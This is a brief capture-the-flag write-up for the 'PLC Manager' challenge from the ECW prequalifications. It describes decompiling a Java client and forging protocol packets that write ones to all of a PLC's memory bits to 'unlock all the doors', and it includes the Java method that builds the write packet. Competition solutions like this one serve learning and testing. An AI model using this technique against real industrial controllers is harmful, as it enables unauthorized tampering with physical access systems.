ECW Prequals - Challenge "PLC Manager"

Readme.md

It was a .jar file.

We just had to decompile it, analyze a bit the protocol and find a way to write all the bits in memory to 1 instead of reading them, in order to "unlock all the doors".

Writer.java

public boolean write_var(final long n) {
      byte[] toSend = new byte[128];
      toSend[0] = 0;  //iDontKnow
      toSend[1] = 2;  //writeCommand
      toSend[2] = 0;  //startOffset
      toSend[3] = (byte)255; //length
      for(int i = 4; i < toSend.length; ++i) {
          toSend[i] = 1;
      }

      final byte[] send_and_rcv = this.send_and_rcv(this.build_header(n, toSend));


      System.out.println(javax.xml.bind.DatatypeConverter.printHexBinary(send_and_rcv));
      return send_and_rcv != null;
}